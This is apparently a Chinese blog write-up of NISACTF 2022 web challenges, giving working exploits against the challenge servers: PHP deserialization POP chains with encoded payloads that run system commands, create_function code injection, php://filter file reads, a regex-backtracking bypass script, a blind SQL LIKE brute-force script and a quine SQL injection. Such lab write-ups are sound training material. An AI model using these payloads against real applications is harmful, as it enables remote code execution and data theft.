目录

前言:

[NISACTF 2022]popchains

[NISACTF 2022]babyserialize

考点:

解题:

解法二:利用 php

总结:

[NISACTF 2022]easyssrf

[NISACTF 2022]level-up

level 1

level2

Level___3.php

level 4

level5

[NSSCTF 2022 Spring Recruit]ezgame

[NISACTF 2022]checkin

[NISACTF 2022]babyupload

[NISACTF 2022]middlerce

[NISACTF 2022]hardsql


前言:

没时间参加比赛,来复现一下。

[NISACTF 2022]popchains

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行

进入环境:

直接是代码审计环节:

Happy New Year~ MAKE A WISH
<?phpecho 'Happy New Year~ MAKE A WISH<br>';if(isset($_GET['wish'])){@unserialize($_GET['wish']);
}
else{$a=new Road_is_Long;highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/class Road_is_Long{public $page;public $string;public function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;public function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
}
/**********************Try to See flag.php*****************************/

一般的思路,都是先看出口,也就是我们能够利用的点。

这里看到

class Try_Work_Hard{protected  $var;public function append($value){include($value);}

Try_work_Hard 类中 有个文件包含,我们追加上去看看哪里调用了 append 函数。

    public function __invoke(){$this->append($this->var);}
}

类中的 __invoke 方法 调用了append 传入的$var 。__invoke 的定义是,当一个对象被当函数一样调用的时候 例如:

$a = new test();
$a ();

这样就会触发 __invoke 方法. 那么我们继续追踪 哪里可以调用 __invoke。.

看到 Class MAKE_a_Change 类中:

   public function __get($key){$function = $this->effort;return $function();}
}

把$func 对象当作了函数来调用。而定义的__get 该如何 调用呢?

__get 魔术方法 是当访问一个类中的属性不存在或者privte 的时候 会被调用。

在 Class Road_Is_Long 中:

    public function __toString(){return $this->string->page;}

如果 $this ->string = MAKE_a_Change的话,就会访问其page 属性,而其类中没有此方法则会调用__get()

那么再来看看 __toString 方法如何调用:

定义是 __toString(),类被当成字符串时触发。

找了半天,没找到哪里有echo ,只有这个地方有echo, 应该就是 正则匹配这个地方 ,如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString

那应该就是 把payload 打进去 就自动触发 __toString 了吧 。

整理下思路:

__wakeup() -> 创建 page 为Road_is_Long 类本身   => __toString ->  $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke()  -> => append() => include($value); value=flag.php 。

好,构造。

<?php
class Road_is_Long{public $page;public $string;}
class Try_Work_Hard{protected  $var = "/flag";
}
class Make_a_Change{public $effort;}$road1 = new Road_is_Long();
$road2 = new Road_is_Long();
$try = new Try_Work_Hard();
$make = new Make_a_Change();$road1->page = $road2;
$road2->string=$make;
$make->effort=$try;$ser = serialize($road1);
echo urlencode($ser);

直接传入就得到flag。

[NISACTF 2022]babyserialize

考点:

php反序列化pop链构造。

代码审计。

解题:

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行

直接来吧:

<?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}//function hint(){
//    echo ".......";
//    die();
//}
?>

老规矩,先找出口,看到 Class NISA 中的 __invoke 方法,有个eval 。只能利用这里了。

如何调用__invoke :当尝试以调用函数的方式调用对象的时候,就会调用该方法

找一下哪个方法可以 把对象调用。

看到 Class Ilovetxw 中的 __toString 方法:

    public function __toString(){$bb = $this->su;return $bb();}

return $bb ,$bb是class Nisa的对象就会调用 __invoke。

来看看如何调用 __toString .

__toString():把类当成字符串的时候调用,一般在echo处生效

这里有两个地方,一个地方是误区。 一个是NISA 类中的__toString

    public function __toString(){echo $this->fun;return " ";}

还有一个地方 Four 类中的set方法:

    public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}

我想着 不会 用__toString 去调用 __toString 吧 。那我就不会构造了。。。

仔细看了一下,查了下php文档。

这里写的是将字符串转换为小写  可以调用__toString ,来到__set。

__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

这里选择的是 class Ilovetxw 中的_class 方法。 利用 $this -> four类 -> fun = $arg[0] 就可以调用__clall 因为 这里正好 $fun是 private 属性。

看看__call方法如何调用:

__call():在对象中调用一个不可访问的方法的时候,会被执行

刚好,class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法

class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}

把$this->ext->nisa($this->x);  改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call

整理下 整体流程思路 :

__invoke =>  __toString  =>  __set => __call => wakeUp.

exp :

<?phpclass NISA{public $fun;public $txw4ever = "system('ls');";
}class TianXiWei
{public $ext;public $x;
}class Ilovetxw{public $huang;public $su;}class four{public $a="TXW4EVER";private $fun='abc';}$nisa= new NISA();
$tian = new TianXiWei();
$ilove = new Ilovetxw();
$four = new four();$tian ->ext = $ilove;
$ilove ->huang=$four;
$four ->a = $ilove;
$ilove ->su = $nisa;echo urlencode(serialize($tian));//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A12%3A%22system%28%27ls%27%29%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

传入发现:

system 改成 大写就可以了

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%27tac+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

解法二:利用 php

原生类类。

echo new GlobIterator(\"/f*\");

读文件名 $N1->txw4ever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");"; 读文件

总结:

这题 不算复杂 但也足够了。

[NISACTF 2022]easyssrf

伪协议 访问 file :///flag

读取显示:

访问  ha1x1ux1u.php

<?phphighlight_file(__FILE__);
error_reporting(0);$file = $_GET["file"];
if (stristr($file, "file")){die("你败了.");
}//flag in /flag
echo file_get_contents($file)

大概就是不能匹配到 file 。

伪协议一把梭:

?file=php://filter/read/convert.base64-encode/resource=/flag

[NISACTF 2022]level-up

进环境

level 1

扫目录 。访问 robots.txt

level2

level_2_1s_h3re.php
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){$a1 = (string)$_POST['array1'];$a2 = (string)$_POST['array2'];if ($a1 == $a2){die("????");}if (md5($a1) === md5($a2)){echo $level3;}else{die("level 2 failed ...");}}
else{show_source(__FILE__);
}
?> 

常见的 md5 强比较。 用hackbar 一直都是level2 failed 。用bp就行了

参考文章:浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初mochu7的博客-CSDN博客

Level___3.php

 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){$a1 = (string)$_POST['array1'];$a2 = (string)$_POST['array2'];if ($a1 == $a2){die("????");}if (sha1($a1) === sha1($a2)){echo $level4;}else{die("level 3 failed ...");}}
else{show_source(__FILE__);
}
?> 

一把唆:

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
    
    &array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

直接出 level_level_4.php

level 4

 <?php
//here is last levelerror_reporting(0);include "str.php";show_source(__FILE__);$str = parse_url($_SERVER['REQUEST_URI']);if($str['query'] == ""){echo "give me a parameter";}if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){die("blacklist here");}if($_GET['NI_SA_'] === "txw4ever"){die($level5);}else{die("level 4 failed ...");}?>
give me a parameterlevel 4 failed ...

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`
这里正好 + 没有被过滤

官方解:

http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever

读出:55_5_55.php

level5

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){show_source(__FILE__);
}
else{$a('',$b);
}

create_function 注入:

?a=\create_function&b=}system('tac /flag');//

参考文章:

create_function()代码注入 - ctrl_TT豆 - 博客园 (cnblogs.com)

你终于回来了(。・∀・)ノ (cnblogs.com)

[NSSCTF 2022 Spring Recruit]ezgame

好难的游戏。。。

访问源码 ,点js 文件   ctrl +f 直接搜flag。

[NISACTF 2022]checkin

 <?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme becho $FLAG;
}
show_source(__FILE__);
?>

正常传值 是不行的,因为存在了不可见字符,复制到vscode里。

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

[NISACTF 2022]babyupload

下载 源代码文件:

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuidapp = Flask(__name__)SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""def db():g_db = getattr(g, '_database', None)if g_db is None:g_db = g._database = sqlite3.connect("database.db")return g_db@app.before_first_request
def setup():os.remove("database.db")cur = db().cursor()cur.executescript(SCHEMA)@app.route('/')
def hello_world():return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">Select image to upload:<input type="file" name="file"><input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""@app.route('/source')
def source():return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)@app.route('/upload', methods=['POST'])
def upload():if 'file' not in request.files:return redirect('/')file = request.files['file']if "." in file.filename:return "Bad filename!", 403conn = db()cur = conn.cursor()uid = uuid.uuid4().hextry:cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))except sqlite3.IntegrityError:return "Duplicate file"conn.commit()file.save('uploads/' + file.filename)return redirect('/file/' + uid)@app.route('/file/<id>')
def file(id):conn = db()cur = conn.cursor()cur.execute("select path from files where id=?", (id,))res = cur.fetchone()if res is None:return "File not found", 404# print(res[0])with open(os.path.join("uploads/", res[0]), "r") as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

漏洞位置:

    with open(os.path.join("uploads/", res[0]), "r") as f:return f.read()

os.path.join 会做一个绝对路径拼接。

比如:

import osprint("1:",os.path.join('aaaa','/bbbb','ccccc.txt'))print("2:",os.path.join('/aaaa','/bbbb','/ccccc.txt'))print("3:",os.path.join('aaaa','ddd','./bbb','ccccc.txt'))

输出:

1: /bbbb\ccccc.txt
2: /ccccc.txt
3: aaaa\ddd\./bbb\ccccc.txt
  • 从后往前看,会从第一个以”/”开头的参数开始拼接,之前的参数全部丢弃;

  • 以上一种情况为先。在上一种情况确保情况下,若出现”./”开头的参数,会从”./”开头的参数的前面参数全部保留;

这里如果传入  /flag 他会把绝对路径拼接为 /uploads/flag 并且打印出来 。得到flag

[NISACTF 2022]middlerce

<?php
include "check.php";
if (isset($_REQUEST['letter'])){$txw4ever = $_REQUEST['letter'];if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){die("再加把油喔");}else{$command = json_decode($txw4ever,true)['cmd'];checkdata($command);@eval($command);}
}
else{highlight_file(__FILE__);
}?>

正则匹配过滤了 很多东西,异或 %a 都过滤了。那么就可以考虑正则最大回溯绕过

直接上payload 了:

import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28939/", data={"letter":payload})
print(res.text)

直接得到flag。

[NISACTF 2022]hardsql

步骤: 只能是bilala用户。fuzz 一下。 like 没过滤 ,like模糊测试 爆密码:

import requestsurl='http://1.14.71.254:28961/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag=''
for j in range(50):for i in dict:data={"username":"bilala","passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"}res=requests.post(url,data=data)if "nothing found" not in res.text:flag=flag+iprint(flag)break

进到下个环境:

<?php
//多加了亿点点过滤include_once("config.php");
function alertMes($mes,$url){die("<script>alert('{$mes}');location.href='{$url}';</script>");
}function checkSql($s) {if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){alertMes('waf here', 'index.php');}
}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {$username=$_POST['username'];$password=$_POST['passwd'];if ($username !== 'bilala') {alertMes('only bilala can login', 'index.php');}checkSql($password);$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";$user_result=mysqli_query($MysqlLink,$sql);$row = mysqli_fetch_array($user_result);if (!$row) {alertMes('nothing found','index.php');}if ($row['passwd'] === $password) {if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){show_source(__FILE__);die;}else{die($FLAG);}} else {alertMes("wrong password",'index.php');}
}?>

重点在这一段

    if ($row['passwd'] === $password) {if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){show_source(__FILE__);die;}else{die($FLAG);}} else {alertMes("wrong password",'index.php');

这就有点矛盾了   即要登录时 密码 = b2f2d15b3ae082ca29697d8dcd420fd7时才能登录,还要密码不 等于 b2f2d15b3ae082ca29697d8dcd420fd7才能输出flag 。觉得应该是要编码什么的?

官方解:

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')
此为官方的payload

题目中还过滤了char,用chr或者直接用 0x 直接代替。

最终的payload 为:

username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

[NISACTF 2022]相关推荐

  1. [NISACTF 2022]checkin

    [NISACTF 2022] 题源:https://www.ctfer.vip/#/problem/2035 题目-checkin 1.源代码 2.普通传值行不通 =>看颜色:第二段注释部分颜色 ...

  2. NISACTF 2022 writeup

    周末两天的比赛 WEB(11/12).PWN(5/6).Reverse(3/6).Crypto(3/7).Misc(8/12) WEB没有AK还是略有遗憾,到后面实在做不动了. 第一次写这么长的WP- ...

  3. [NISACTF 2022]UAF

    跟hacknote一样的做法,但是有所不同. Checksec & IDA 也是一样的保护机制,直接打开IDA看一眼 int __cdecl __noreturn main(int argc, ...

  4. CTF-PWN学习-为缺少指导的同学而生

    博主也是个PWN的入门者.PWN的入门不可能是无痛的.能做到的只是减少一点初学者的痛苦.这篇博客会长期维护,也会越来越好.后期还可能会在B站出视频(博主社恐,要迈出这一步可能需要好长时间). PWN是 ...

  5. NSSCTF web题记录

    目录 web [GXYCTF 2019]BabyUpload [NISACTF 2022]babyserialize [NISACTF 2022]popchains [NSSRound#4 SWPU] ...

  6. NSSCTF web学习

    目录 [CISCN 2019华东南]Web11 [NISACTF 2022]bingdundun~ [NISACTF 2022]babyserialize [NISACTF 2022]join-us ...

  7. NSSCTF web刷题

    目录 [鹤城杯 2021]EasyP [SWPUCTF 2021 新生赛]pop [SWPUCTF 2021 新生赛]easyupload3.0 [SWPUCTF 2021 新生赛]hardrce [ ...

  8. CTF一百题/10之菜狗陈海

    CTF一百题/10 0x01 flag_universe 2018年百越杯题目,下载后得到数据包文件 ftp搜索flag发现一个flag.txt FTP-DATA发现文件传输成功,追踪流,得到一串ba ...

  9. Mituan-极客时间-漏洞挖掘与智能攻防实战

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.CVE-2009-4194 二.CVE-2021-42013 二.CVE-2021-31760 三.RSA - 低加密 ...

  10. Reverse入门[不断记录]

    文章目录 前言 一.[SWPUCTF 2021 新生赛]re1 二.[SWPUCTF 2021 新生赛]re2 三.[GFCTF 2021]wordy[花指令] 四.[NSSRound#3 Team] ...

最新文章

  1. 关于CE端口线路整改的建议
  2. php接收ajax转数组
  3. 属于计算机病毒主要特征的是,[单选] 不属于计算机病毒的主要特征的是()
  4. Linux-C实现GPRS模块发送短信
  5. centos 上安装bugzilla 详解
  6. API文档自动生成,Swagger的配置
  7. 蓝阔无线打印服务器设置,蓝阔打印服务器远程打印
  8. 小程序中视频作为页面背景
  9. Cloudera Manager 环境搭建
  10. Matlab中图形对象属性gca使用
  11. 容联语音机器人入选“2019金融AI大数据十大解决方案”
  12. mysql数据库的封装
  13. 运维开发工程师(BKDS)理论基础
  14. AspectJ的Execution表达式
  15. net::ERR_ABORTED 404 (Not Found)
  16. php spry文本域_spry菜单栏(二)
  17. 2021年材料员-通用基础(材料员)考试题库
  18. Tensorflow 的NCE-Loss的实现和word2vec
  19. 深入理解虚拟/物理地址转换,页表--基于ARMV8
  20. win8输入法图标不见了

热门文章

  1. CORS Missing Allow Origin
  2. 种草电商系统种草电商系统开发解决方案
  3. C语言误差用什么变量,C语言-实型变量
  4. word文档,中文输入模式下打出英文标点原因(微软拼音输入法为例)
  5. 见证蓝创十年庆典,与创业者共成长
  6. 什么是决策!决策的定义!决策的本质!大数据决策定义!
  7. mysql 累乘_oracle sql语句实现累加、累减、累乘、累除
  8. NPOI导出真正的电子表格,支持 自定义多行表头(表头风格设置),支持多个sheet页面导出
  9. C#NPOI获取Excel的列名
  10. [转]一淘网是如何实现系统架构的